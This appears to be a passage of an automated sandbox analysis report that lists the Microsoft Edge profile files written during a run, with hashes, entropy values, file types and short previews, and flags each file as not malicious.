Preview:	...m.................DB_VERSION.11.-.q...............&QUERY_TIMESTAMP:domains_config_gz2...13376704308282140..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.15149052804094
Encrypted:	false
SSDEEP:	6:HEzFvRRM1923oH+Tcwtk2WwnvB2KLlVEzFqkVq2P923oH+Tcwtk2WwnvIFUv:k5RRhYebkxwnvFLsUkVv4YebkxwnQFUv
MD5:	E36808DBED02F79B8BE52FA718913CD0
SHA1:	D1306EF60F8DC0EA88935A0097EEDFEF7D9ADE71
SHA-256:	A26A406CCF19A4FA100DBCE8B0F4DBBA58D679A28067158C805DD665ADA22CC4
SHA-512:	E5DEF06005355FC425A3AC248479B42174DF4E0777073E655ECA7DE5F3DCF8269B7030780412BC5E9FF6AC1270E18D16A87457297FEB4696DE391C3EB55B2F59
Malicious:	false
Preview:	2024/11/21-18:11:45.178 2024 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/21-18:11:45.196 2024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324615418007948
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rc:C1gAg1zfvk
MD5:	22F43189B0799F0676EB8E74EA16C5A8
SHA1:	9C6E38187D3371CB65C51875A6EA8EEA4C6C74D9
SHA-256:	DC8167D758EC1F88DDBC901EA3C7F69437279BE3C2AD510AA305D949CFD7F968
SHA-512:	E8C15EF2CB5AD14109023DD8215B5951AE032C11729323C41953C95F85ADB16E38F4ECCE95C926FA853B5E612A4D2CD58E47A826EC32D1614E6111370DFAA4E8
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.207862468317994
Encrypted:	false
SSDEEP:	6:HEzFUM9+q2P923oH+Tcwt8aPrqIFUt8YEzFvUBFJZmw+YEzFvUBF9VkwO923oH+o:ksv4YebL3FUt8/tE/+/tk5LYebQJ
MD5:	3B957BB79FEE634F11C58E33B4F06A61
SHA1:	38D583571614C551757922758B85F6DE27C78D5F
SHA-256:	E55A8C1501FD8300129D7A6EAC1D7783AAB1388A00DF4064EFCD250F8E0CBA4E
SHA-512:	5CBE2161E10AC6F31759FA6164E0979BA32B1C8B473EB979348C25A6B8DDE6242D6CD4A589934D9120067F988D9F3DEDCEE96872634BFBAB878E6E60CB5A04DD
Malicious:	false
Preview:	2024/11/21-18:11:39.566 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/21-18:11:39.567 1d88 Recovering log #3.2024/11/21-18:11:39.567 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.207862468317994
Encrypted:	false
SSDEEP:	6:HEzFUM9+q2P923oH+Tcwt8aPrqIFUt8YEzFvUBFJZmw+YEzFvUBF9VkwO923oH+o:ksv4YebL3FUt8/tE/+/tk5LYebQJ
MD5:	3B957BB79FEE634F11C58E33B4F06A61
SHA1:	38D583571614C551757922758B85F6DE27C78D5F
SHA-256:	E55A8C1501FD8300129D7A6EAC1D7783AAB1388A00DF4064EFCD250F8E0CBA4E
SHA-512:	5CBE2161E10AC6F31759FA6164E0979BA32B1C8B473EB979348C25A6B8DDE6242D6CD4A589934D9120067F988D9F3DEDCEE96872634BFBAB878E6E60CB5A04DD
Malicious:	false
Preview:	2024/11/21-18:11:39.566 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/21-18:11:39.567 1d88 Recovering log #3.2024/11/21-18:11:39.567 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.18918785246343
Encrypted:	false
SSDEEP:	6:HEzFLdX9+q2P923oH+Tcwt865IFUt8YEzFsJZmw+YEzFs9VkwO923oH+Tcwt86+e:k1Gv4Yeb/WFUt8/g/+/I5LYeb/+SJ
MD5:	322228359D204D9BA97D88660292C6AB
SHA1:	003E70BF088E2BE5FCFB2E3D9907CCF0FA9D4D51
SHA-256:	922B59705E8A593DC9B14C42AE9A186E3DAFB14D801F842EF1F6A14821B5ABE3
SHA-512:	54C62D4FDF7190EA800D2FA6D7E41205F2FDE423D08CBB835FD67B24710F7182FE96BD910862F555315BE01D22AEB38B0BFFE2C448997096BAF9A48F9A585E1F
Malicious:	false
Preview:	2024/11/21-18:11:39.571 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/21-18:11:39.572 1d88 Recovering log #3.2024/11/21-18:11:39.572 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.18918785246343
Encrypted:	false
SSDEEP:	6:HEzFLdX9+q2P923oH+Tcwt865IFUt8YEzFsJZmw+YEzFs9VkwO923oH+Tcwt86+e:k1Gv4Yeb/WFUt8/g/+/I5LYeb/+SJ
MD5:	322228359D204D9BA97D88660292C6AB
SHA1:	003E70BF088E2BE5FCFB2E3D9907CCF0FA9D4D51
SHA-256:	922B59705E8A593DC9B14C42AE9A186E3DAFB14D801F842EF1F6A14821B5ABE3
SHA-512:	54C62D4FDF7190EA800D2FA6D7E41205F2FDE423D08CBB835FD67B24710F7182FE96BD910862F555315BE01D22AEB38B0BFFE2C448997096BAF9A48F9A585E1F
Malicious:	false
Preview:	2024/11/21-18:11:39.571 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/21-18:11:39.572 1d88 Recovering log #3.2024/11/21-18:11:39.572 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.123607560114143
Encrypted:	false
SSDEEP:	6:HEzF6PSlWM+q2P923oH+Tcwt8NIFUt8YEzF6PSz1Zmw+YEzF6zi+WMVkwO923oHt:kySlL+v4YebpFUt8/ySZ/+/+i+LV5LYN
MD5:	550C097D1A041F98EB6B4D3C5289C3A1
SHA1:	0D22FEB730E4C6387ECA190BB98904622A2DE814
SHA-256:	8D324CAB20C2C713FF913A0F18BE323B37A7064482D22BB8C2295A6A613A1639
SHA-512:	27EE36D5991FB2391F2DC11B170D88F0BD77AD3F63A6D3BE283B34E471B4D9E515EBBACFF3F884AEB543213256D3C0A6021FFF30AB6A440750106C3E9CE56D5A
Malicious:	false
Preview:	2024/11/21-18:11:40.526 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/21-18:11:40.526 1d1c Recovering log #3.2024/11/21-18:11:40.527 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.123607560114143
Encrypted:	false
SSDEEP:	6:HEzF6PSlWM+q2P923oH+Tcwt8NIFUt8YEzF6PSz1Zmw+YEzF6zi+WMVkwO923oHt:kySlL+v4YebpFUt8/ySZ/+/+i+LV5LYN
MD5:	550C097D1A041F98EB6B4D3C5289C3A1
SHA1:	0D22FEB730E4C6387ECA190BB98904622A2DE814
SHA-256:	8D324CAB20C2C713FF913A0F18BE323B37A7064482D22BB8C2295A6A613A1639
SHA-512:	27EE36D5991FB2391F2DC11B170D88F0BD77AD3F63A6D3BE283B34E471B4D9E515EBBACFF3F884AEB543213256D3C0A6021FFF30AB6A440750106C3E9CE56D5A
Malicious:	false
Preview:	2024/11/21-18:11:40.526 1d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/21-18:11:40.526 1d1c Recovering log #3.2024/11/21-18:11:40.527 1d1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:gXLtFlljq7A/mhWJFuQ3yy7IOWUQd/udweytllrE9SFcTp4AGbNCV9RUILd:gw75fOulud0Xi99pEY1d
MD5:	4A83B7FD0254D3F57702F2CE5D448DCF
SHA1:	20337F5418A18EA3561610E8F0E6E141DA6436C2
SHA-256:	5E56AF0AFA4AC04BB18D7A61AA69D9D8D47ED8CA4CCBBC481F3FA05784A35DB8
SHA-512:	C93C12052B50EA870211CC885BBF17736AAA8A90FAE6F76D200448CE8450BF604628A0099B8D030BCE4AD1E138ADDADCB48B16FE39A90CF07D4852AB1A8AC8C6
Malicious:	false
Preview:	.............8.h...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.266467095098139
Encrypted:	false
SSDEEP:	12:kLv4Yeb8rcHEZrELFUt8/3/+/05LYeb8rcHEZrEZSJ:kL4Yeb8nZrExg8/0+LYeb8nZrEZe
MD5:	B0CFAE5BBB460AA16723C71ACA9569F6
SHA1:	986FBD4C86075748F50907ED9FA85C8A761168DD
SHA-256:	64EDC4336E0FE3706C7B272CBA8873AB3A7B65614410A559C26D4FEF1AB14E93
SHA-512:	6D66DB493D1EA135CA6C6733E7A29C2371ABCCB77C8EC75BB99CCE7F647A9BD26A6C60C294777983CA55ED371D2FBFABDC5FB396D3662B5FFB8389A38A5AC04D
Malicious:	false
Preview:	2024/11/21-18:11:43.096 3d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/21-18:11:43.097 3d8 Recovering log #3.2024/11/21-18:11:43.098 3d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.266467095098139
Encrypted:	false
SSDEEP:	12:kLv4Yeb8rcHEZrELFUt8/3/+/05LYeb8rcHEZrEZSJ:kL4Yeb8nZrExg8/0+LYeb8nZrEZe
MD5:	B0CFAE5BBB460AA16723C71ACA9569F6
SHA1:	986FBD4C86075748F50907ED9FA85C8A761168DD
SHA-256:	64EDC4336E0FE3706C7B272CBA8873AB3A7B65614410A559C26D4FEF1AB14E93
SHA-512:	6D66DB493D1EA135CA6C6733E7A29C2371ABCCB77C8EC75BB99CCE7F647A9BD26A6C60C294777983CA55ED371D2FBFABDC5FB396D3662B5FFB8389A38A5AC04D
Malicious:	false
Preview:	2024/11/21-18:11:43.096 3d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/21-18:11:43.097 3d8 Recovering log #3.2024/11/21-18:11:43.098 3d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.6584385144967975
Encrypted:	false
SSDEEP:	24:QZW7Ql7ow5iKX/GzRqXZyoWCLV03y1x4iPBMylWfUlHfZkTN5zgFHHmi28/V:QZ17FfXZkCLV03Sx4JylSf+HH328t
MD5:	A86C6BF4B03309C238DF2B66223E8C16
SHA1:	41AC5A333333E0D76D42BF75D4A40F63293E0F08
SHA-256:	B5DF90AE82255C01DD2FB74089D44CA9206865D07340CB29A1C96CA34A9D244B
SHA-512:	FF7498036C793E0D26BAFFD2B5D9D749B87C5F0CDDDB4B332F9FFE5558D5F6C66644633A98E39608CF08E21CCFD108C2CE80713547A6CF3CB7AD34E1ADB59AEB
Malicious:	false
Preview:	Qo..................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732230715306.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732230716729.._https://ntp.msn.com..MUID!.306F509DFB216A50056745A3FA536B36.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732230715391,"schedule":[-1,9,22,-1,-1,-1,39],"scheduleFixed":[-1,9,22,-1,-1,-1,39],"simpleSchedule":[11,44,30,10,31,12,14]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732230715257.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241121.408"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Thu Nov 21 2024 18:11:54 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.116082181827727
Encrypted:	false
SSDEEP:	6:HEzFqBiQ+q2P923oH+Tcwt8a2jMGIFUt8YEzFdcgZmw+YEzFdLjQVkwO923oH+Tg:kk+v4Yeb8EFUt8/jF/+/jA5LYeb8bJ
MD5:	8C5CA9A38D15D911A333EF53101052A6
SHA1:	15DBFB49C48826DA8C0A16FF52063D1909F390C3
SHA-256:	6984AB420C81C8AED32FB44B5F7A56A153E77F68BB7971868E25AB7B502584A6
SHA-512:	840CDE4D439B052361926DE0002B5909728E4F28E0A005BEEEE8C2493D40F909DC0E81D40D22EB704E2EB04E71A4BB7F19D392019E47F3D8DC2F66D11C6B9BE8
Malicious:	false
Preview:	2024/11/21-18:11:39.965 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/21-18:11:40.012 1d08 Recovering log #3.2024/11/21-18:11:40.015 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.116082181827727
Encrypted:	false
SSDEEP:	6:HEzFqBiQ+q2P923oH+Tcwt8a2jMGIFUt8YEzFdcgZmw+YEzFdLjQVkwO923oH+Tg:kk+v4Yeb8EFUt8/jF/+/jA5LYeb8bJ
MD5:	8C5CA9A38D15D911A333EF53101052A6
